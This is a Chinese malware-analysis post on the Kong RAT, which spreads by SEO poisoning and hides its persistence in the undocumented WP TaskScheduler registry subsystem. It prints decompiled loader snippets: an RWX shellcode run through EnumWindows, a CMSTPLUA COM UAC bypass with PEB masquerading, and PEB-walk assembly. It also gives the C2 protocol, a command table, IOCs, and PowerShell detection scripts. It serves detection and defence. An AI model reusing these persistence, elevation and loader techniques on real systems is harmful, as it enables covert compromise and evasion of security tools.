最近在分析一批样本时,我遇到了一个极为棘手的问题:目标进程每次重启后都会自动启动,但我找不到它的自启动方式。经过完整分析,样本中有关信息透露了该样本开发者大概率经常混迹于吾爱破解论坛。
经过测试,x绒、数字等杀软都无法检测到该驻留项,或许有许多中毒终端正在使用此种方式进行自启而完全不被发现
我把所有常规排查手段过了一遍:
全部阴性。 但进程就是每次登录后自动启动。
通过对样本进行深度逆向分析,最终定位到它使用了 Windows 10 引入的 WP TaskScheduler 并行调度子系统 进行隐蔽持久化——一个没有公开文档、没有标准 API、所有安全工具都不覆盖的"影子调度系统"。
声明: 本次实际捕获的样本(9e57b1c22c5b66028b98e85704981de7)经过更强的混淆处理,无法直接进行完整的静态逆向分析。但通过动态行为分析,确认其 TTP 与 eSentire 于 2026年4月发布的 Kong RAT 报告完全一致。因此本文以 eSentire 关联的轻混淆样本为例进行全流程分析与复现,持久化机制部分(WP TaskScheduler)为本次独立发现。
该样本(Kong RAT)的持久化数据存储在:
这是一个与传统 TaskCache 完全并行的调度子系统,由 WPTaskScheduler.dll 模块提供:
复现PoC 已开源
文件下载与部署:
安装路径: %LOCALAPPDATA%\Programs\Bvasted\,下载后设置 HIDDEN|SYSTEM 属性。
进程枚举与 Telegram 操控:
C2 安装遥测:
持久化 -- NdrClientCall3 RPC 计划任务:
DLL 入口 + QueueUserAPC 延迟执行:
pfnAPC 核心逻辑:
PEB 伪装 + CMSTPLUA COM UAC Bypass:
1. PEB Walking 获取 kernel32 基址:
2. Caesar Cipher 栈字符串解码 (sub eax, 0x10):
3. MZ 签名前向扫描 (0x9C4000 范围):
4. 内存 PE 加载器:
TCP 连接使用非阻塞模式 + select 等待,数据 16KB 分块发送。
这是本文的核心发现。Kong RAT 的持久化不走传统 TaskCache 体系,而是利用了一个鲜为人知的并行调度子系统。
正常流程:
Kong RAT:
Windows 10 RTM(2015年7月)引入,加载链路:
特征:
存储路径:
解码结果:
数据以 UTF-16 编码存储在 REG_BINARY 值中。regedit "查找"和 reg query /s /f 只搜索 REG_SZ 明文字符串,不解码二进制内容。
通过启用 Security Event 4688 + TaskScheduler/Operational 日志,重启后捕获:
完整 PoC : ShadowScheduler
| 排查方法 |
结果 |
原因 |
schtasks /query |
未找到 |
依赖 TaskCache\Tree 注册表枚举 |
Get-ScheduledTask |
未找到 |
底层同样走 ITaskService COM 接口 |
| Task Scheduler MMC |
不可见 |
同上 |
C:\Windows\System32\Tasks\ 目录 |
无对应 XML |
任务未写入文件系统 |
| TaskCache\Tree 注册表 |
无条目 |
NdrClientCall3 绕过了 Tree 注册 |
| TaskCache\Tasks GUID 枚举 |
无 {e0bff96f...} |
任务未写入 Tasks 子键 |
| TaskCache\Plain/Logon/Boot 分类 |
无匹配 GUID |
不存在分类注册 |
| Run/RunOnce 注册表 |
干净 |
未使用此机制 |
| Startup 文件夹 |
干净 |
未使用此机制 |
| WMI 事件订阅 |
仅系统默认 |
未使用此机制 |
| Windows 服务 |
无恶意服务 |
未使用此机制 |
| IFEO 调试器劫持 |
干净 |
未使用此机制 |
| Winlogon Shell/Userinit |
正常值 |
未使用此机制 |
| COM 劫持 (HKCU CLSID) |
仅 OneDrive |
未使用此机制 |
| AppInit_DLLs |
空/禁用 |
未使用此机制 |
| LSA/Print/Network Provider |
干净 |
未使用此机制 |
| autoruns |
干净 |
以上机制全部绕过,aoturuns致盲 |
| 特征 |
说明 |
| 存储位置 |
HKLM\...\Schedule\WP\TaskScheduler\Schedules\{GUID} |
| 数据格式 |
REG_BINARY(UTF-16 编码的二进制结构) |
| COM 接口 |
不暴露给 ITaskService |
| 标准工具可见性 |
schtasks / Get-ScheduledTask / MMC / Autoruns 全部不可见 |
| XML 文件 |
不生成 |
| 公开文档 |
无 |
| 项目 |
值 |
| 家族 |
Kong RAT |
| 投递方式 |
SEO 投毒(伪装 FinalShell / Xshell / QuickQ VPN / Clash / DeepSeek部署 下载站) |
| 目标 |
中文开发者群体 |
| 编译技术 |
.NET 10 NativeAOT(对抗 dnSpy/ILSpy) |
| C2 协议 |
TCP 自定义二进制(MPK1 magic + LZ4 压缩) |
| C2 地址 |
x.x-x.icu:5947 (Antbox Networks HK) |
| 关联报告 |
eSentire - Multi-Stage SEO Poisoning Campaign |
| 属性 |
值 |
| SHA256 |
D6620D753E746E63B59E1E47943BE5093F24FD3F82E994115CADEEA3720F1AEA |
| 编译器 |
.NET 10.0 NativeAOT |
| PDB |
C:\Users\52pojie\Desktop\bin\bin\Release\net10.0\win-x64\native\APP3.pdb |
| 函数数量 |
16,306 |
| 属性 |
值 |
| SHA256 |
3A1DD72DD2DEC21D18B8FCD72D221F069FED2D35C2BF4CDF042C9AE722D6C820 |
| 入口 |
导出函数 run -> run_0 |
| 关键导入 |
URLOpenBlockingStreamA, NdrClientCall3, CreateToolhelp32Snapshot |
| 下载 URL |
保存为 |
用途 |
| /dow/1.1x1 |
Setupexe.exe |
合法签名 EXE (Microsoft rc.exe) |
| /dow/1.d11 |
rcdll.dll |
Shellcode Loader DLL |
| /dow/zj.bin |
oob.xml |
Shellcode + Kong RAT |
| /dow/msvcr100.dll |
msvcr100.dll |
运行时依赖 |
| 属性 |
值 |
| SHA256 |
2B7D31A83FF817BE7BDD6E9CF92DEA438CA97DC93EA84CBF048F8656F7DD57DD |
| 编译时间 |
2026-03-21 |
| 伪装 |
VirtualBox Runtime DLL (188个 RT* 导出) |
| 加载方式 |
DLL Sideloading via Microsoft rc.exe |
| 属性 |
值 |
| SHA256 |
AE160034478A340421E20DC7C8FDEE626CC3B8035D278F0A94AFAF31766EEA48 |
| 大小 |
286,441 bytes |
| 结构 |
0x0000-0x12E8: x64 shellcode / 0x12E9+: 嵌入 EXE |
| 属性 |
值 |
| SHA256 |
ED68397183E72E7113C8AC4ACEDDF2051ABF55D7C62B6FA69F62CBDA11324AB8 |
| 编译时间 |
2026-03-12 |
| C2 |
x.x-x.icu:5947 (TCP) |
| 函数数量 |
882 |
| 命令 |
功能 |
权限 |
| T=1 |
存储 ConnectionId |
无 |
| T=2 |
写入 NOTE/GROUP 标签 |
提权 |
| T=5,C=0 |
XOR 解密 DLL 持久化到注册表 |
- |
| T=5,C=1 |
XOR 解密 DLL 写入 System32 加载 |
- |
| T=11 |
NtShutdownSystem(1) 远程重启 |
提权 |
| T=12 |
ExitWindowsEx 强制重启 |
提权 |
| T=13 |
进程退出 |
非提权 |
| T=14 |
删除 Kong 注册表 + 自毁 |
非提权 |
| T=15 |
迁移到新 C2 |
提权 |
| T=16 |
更新会话过期时间 |
提权 |
| T=19 |
URLDownloadToFile + 执行 + 删除 |
提权 |
| T=20 |
cmd.exe /c 远程命令执行 |
提权 |
| T=21 |
写入 %TEMP% 并 ShellExecute |
提权 |
| T=22 |
验证 MZ/PE + 写入 System32 + LoadLibrary |
提权 |
| T=26 |
清理过期会话 |
非提权 |
| T=27 |
心跳确认(MT19937 抖动 3475-4999ms) |
无 |
| 值名称 |
用途 |
| Schedule |
任务名 + exe 路径 + 触发类型(REG_BINARY) |
| RuntimeData |
运行用户 SID(REG_BINARY) |
| Statistics |
执行统计(REG_BINARY) |
| 时间 |
技术 |
特点 |
| 2022.04 |
Tarrask (微软披露Silk Typhoon) |
正常创建任务后删除 SD 值隐藏 |
| 2022.05 |
WithSecure 研究 |
分析最小条件下的任务创建 |
| 2025-2026 |
Kong RAT |
直接走 WP 子系统,连 TaskCache 都不碰 |
| 技术 ID |
名称 |
实现位置 |
| T1189 |
Drive-by Compromise |
SEO 投毒仿冒站 |
| T1204.002 |
User Execution: Malicious File |
用户运行 Setup.exe |
| T1548.002 |
Bypass UAC: COM Elevation |
rcdll.dll CMSTPLUA |
| T1574.002 |
DLL Side-Loading |
rc.exe 加载 rcdll.dll |
| T1055.004 |
APC Injection |
QueueUserAPC |
| T1055 |
Reflective PE Loading |
Setup.exe 加载 zj.mp4 |
| T1027 |
Obfuscated Files |
Caesar Cipher 栈字符串 |
| T1140 |
Deobfuscate/Decode |
sub eax, 0x10 解码 |
| T1036.005 |
Match Legitimate Name |
Setupexe.exe = rc.exe |
| T1036.008 |
Masquerade File Type |
zj.mp4 实为 DLL |
| T1106 |
Native API |
NtShutdownSystem, NdrClientCall3 |
| T1112 |
Modify Registry |
HKCU\Software\Kong* |
| T1547.005 |
Scheduled Task |
WP TaskScheduler 隐蔽注册 |
| T1056.001 |
Keylogging |
GetAsyncKeyState 轮询 |
| T1057 |
Process Discovery |
CreateToolhelp32Snapshot |
| T1095 |
Non-App Layer Protocol |
TCP MPK1 自定义协议 |
| T1573 |
Encrypted Channel |
LZ4 压缩 + XOR |
| T1529 |
System Shutdown/Reboot |
Cmd 11/12 |
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\WP\TaskScheduler\Schedules\{GUID}
CoCreateGuid(&taskGuid);
NdrClientCall3(&pProxyInfo, 0, 0, Binding, &taskGuid, 1);
if (fdwReason == DLL_PROCESS_ATTACH) {
FreeConsole();
QueueUserAPC(pfnAPC, GetCurrentThread(), 0);
}
GetTokenInformation(hToken, TokenElevation, ...);
if (!elevation) {
sub_180001410(exePath);
ExitProcess(0);
}
FindFirstFileA("*.xml", &findData);
fread(buffer, 1, sz, f);
void *rwx = VirtualAlloc(0, sz, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(rwx, buffer, sz);
EnumWindows((WNDENUMPROC)rwx, 0);
RtlInitUnicodeString(&peb->ProcessParameters->ImagePathName, L"C:\\windows\\explorer.exe");
LdrEnumerateLoadedModules(0, callback, peb);
CLSID cmstplua = {3E5FC7F9-9A51-4367-9063-A120244FBEC7};
CoGetObject(L"Elevation:Administrator!new:{3E5FC7F9-...}", &bindOpts, &iid, &pInterface);
pInterface->vtable[9](pInterface, selfPath, ...);
mov rax, gs:[60h] ; PEB
mov rax, [rax+18h] ; PEB->Ldr
mov rsi, [rax+20h] ; InMemoryOrderModuleList
lodsq ; ntdll
xchg rax, rsi
lodsq ; kernel32
mov rdi, [rax+20h] ; DLL base
编码: 57 75 84 60 82 7F 73 51 74 74 82 75 83 83 -> GetProcAddress
编码: 5C 7F 71 74 5C 79 72 82 71 82 89 51 -> LoadLibraryA
编码: 66 79 82 84 85 71 7C 51 7C 7C 7F 73 -> VirtualAlloc
DWORD hash = 5381;
hash ^= integrityLevel;
swprintf(mutex_name, L"Local\\ClientMutex_%08X", hash);
REASON_CONTEXT ctx;
ctx.Reason.SimpleReasonString = L"System Active";
HANDLE hPowerReq = PowerCreateRequest(&ctx);
PowerSetRequest(hPowerReq, PowerRequestDisplayRequired);
+0x00: [4 bytes] 包长度 (little-endian)
+0x04: [4 bytes] Magic "MPK1" (4D 50 4B 31)
+0x08: [1 byte] 压缩标志 (0=raw, 1=LZ4)
+0x09: [4 bytes] 原始未压缩大小 (仅压缩时)
+0x0D: [N bytes] Payload
HKCU\Software\Kong\Client\ClientVersion -- 版本信息
HKCU\Software\Kong\Client\Login\Temp -- 临时会话
HKCU\Software\Kong\Client\Login\Permanent -- 持久会话
HKCU\Software\Kong\Client\Plugins -- 远程模块
应用程序 -> ITaskService COM -> Task Scheduler RPC -> Schedule 服务
|-- 写入 TaskCache\Tree(任务名映射)
|-- 写入 TaskCache\Tasks\{GUID}(任务定义)
|-- 写入 TaskCache\Plain|Logon|Boot(触发分类)
+-- 写入 System32\Tasks\<name>.xml(文件备份)
恶意代码 -> NdrClientCall3 -> WPTaskScheduler RPC endpoint
|-- [x] 不写 TaskCache\Tree
|-- [x] 不写 TaskCache\Tasks
|-- [x] 不写 分类键
|-- [x] 不写 XML 文件
+-- [o] 写入 WP\TaskScheduler\Schedules\{GUID}(REG_BINARY)
schedsvc.dll -> ServiceMain() -> JobsService::Initialize()
-> JobsService::InitializeWPTS() -> LoadLibrary("WPTaskScheduler.dll")
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\WP\TaskScheduler\Schedules\{7FCC0EA0-3CBB-43EA-B230-1A0E2C1A4E6C}
任务名称: SimpleActivityScheduleTimer_{7FCC0EA0-3CBB-43EA-B230-1A0E2C1A4E6C}
执行路径: C:\Users\Tom\AppData\Local\Programs\Bvaste\Setupexe.exe
触发类型: 用户登录触发
[用户登录触发]
svchost.exe (-k netsvcs -p -s Schedule, SYSTEM)
| WPTaskScheduler.dll 读取 Schedules 注册表
v
Setupexe.exe (受限令牌 Type 3)
| 检测到未提权,触发 UAC bypass
v
dllhost.exe (CMSTPLUA COM 提权, PEB 伪装 explorer.exe)
v
Setupexe.exe (完全令牌 Type 1, 已提权)
| rc.exe 加载 rcdll.dll (DLL Sideloading)
v
rcdll.dll -> QueueUserAPC -> FindFirstFile("*.xml") -> 读取 oob.xml
v
VirtualAlloc(RWX) + EnumWindows(shellcode)
v
Shellcode: PEB Walk -> Caesar 解码 API -> 定位嵌入 PE -> 内存加载
v
Kong RAT: Mutex -> 反休眠 -> 键盘记录 -> TCP C2 (MPK1)
[受害者搜索 FinalShell/Xshell/QuickQ/Clash]
|
v
[SEO 投毒 -> 仿冒站点 finalshell-ssh.com / xshell-cn.com]
|
v
[下载 Setup.exe (NativeAOT, 16306 函数)]
|
[CheckTokenMembership]
/ \
非管理员 管理员
ShellExecute("runas") |
UAC 弹窗 |
\ /
|
v
[HTTP GET -> aliyuncs.com/dow/zj.mp4 (.mp4 伪装)]
|
v
[反射 PE 加载 -> 调用 "run" 导出]
|
v
[run_0: 下载 3 文件 + NdrClientCall3 创建 WP 计划任务]
|
v (用户登录触发)
[rc.exe -> rcdll.dll Sideloading]
|
[TokenElevation]
/ \
未提权 已提权
PEB+CMSTPLUA |
静默提权 |
\ /
|
v
[FindFirstFile("*.xml") -> VirtualAlloc(RWX) -> EnumWindows]
|
v
[Shellcode: PEB Walk + Caesar + MZ Scan -> 内存加载 Kong RAT]
|
v
[Kong RAT 激活]
|-- DJB2 Mutex (单实例)
|-- PowerSetRequest (反休眠)
|-- 键盘记录 -> C:\ProgramData\Kong\Keylogger\
+-- TCP x.x-x.icu:5947 (MPK1 + LZ4, 16种命令)
$wpKey = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\WP\TaskScheduler\Schedules"
if (Test-Path $wpKey) {
Get-ChildItem $wpKey | ForEach-Object {
$schedule = (Get-ItemProperty $_.PSPath -Name Schedule -EA 0).Schedule
if ($schedule) {
$uni = [System.Text.Encoding]::Unicode.GetString($schedule)
$exe = if ($uni -match "([A-Z]:\\[^\x00]+\.exe)") { $Matches[1] } else { "unknown" }
Write-Output "[!] WP Task: $($_.PSChildName) -> $exe"
}
}
} else { Write-Output "[*] Clean" }
$executed = Get-WinEvent -LogName "Microsoft-Windows-TaskScheduler/Operational" -MaxEvents 1000 |
Where-Object { $_.Id -eq 100 } |
ForEach-Object { if ($_.Message -match '"(.+?)"') { $Matches[1] } } |
Sort-Object -Unique
$enumerated = Get-ScheduledTask | ForEach-Object { $_.TaskPath + $_.TaskName }
$hidden = $executed | Where-Object { $_ -notin $enumerated }
if ($hidden) { "[!] Hidden tasks:"; $hidden }
hxxps://kkwinapp.oss-cn-hongkong.aliyuncs.com/dow/ (Payload 托管)
hxxps://g3.letv.com/r?format=1 (IP 探测)
x.x-x.icu:5947 (Kong RAT C2)
45.192.208.126 (Antbox Networks HK)
仿冒域名:
finalshell-ssh.com, xshell-cn.com, quickq-cn.com,
clash-cn.com, letsv-vpn.com, xshell-38m.pages.dev
%LOCALAPPDATA%\Programs\Bvaste[d]\Setupexe.exe
%LOCALAPPDATA%\Programs\Bvaste[d]\rcdll.dll
%LOCALAPPDATA%\Programs\Bvaste[d]\oob.xml
C:\ProgramData\Kong\Keylogger\YYYY-MM-DD.txt
SHA256:
Setup.exe: D6620D753E746E63B59E1E47943BE5093F24FD3F82E994115CADEEA3720F1AEA
zj.mp4: 3A1DD72DD2DEC21D18B8FCD72D221F069FED2D35C2BF4CDF042C9AE722D6C820
Setupexe.exe: 736B2C5782FCA75A85379181BCF1D3A719A14CACD938D053C03B16041059DD8F
rcdll.dll: 2B7D31A83FF817BE7BDD6E9CF92DEA438CA97DC93EA84CBF048F8656F7DD57DD
oob.xml: AE160034478A340421E20DC7C8FDEE626CC3B8035D278F0A94AFAF31766EEA48
Kong RAT: ED68397183E72E7113C8AC4ACEDDF2051ABF55D7C62B6FA69F62CBDA11324AB8
HKCU\Software\Kong\
HKCU\Software\Kong\Client\ClientVersion
HKCU\Software\Kong\Client\Login\Temp
HKCU\Software\Kong\Client\Login\Permanent
HKCU\Software\Kong\Client\Plugins
HKLM\...\Schedule\WP\TaskScheduler\Schedules\{GUID}
计划任务名: SimpleActivityScheduleTimer_{GUID}
Mutex: Local\ClientMutex_{DJB2_HASH}
环境变量: KONG_SKIP_KEYLOGGER (开发者 Kill Switch)
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 14小时前
被Sh2ns1e编辑
,原因: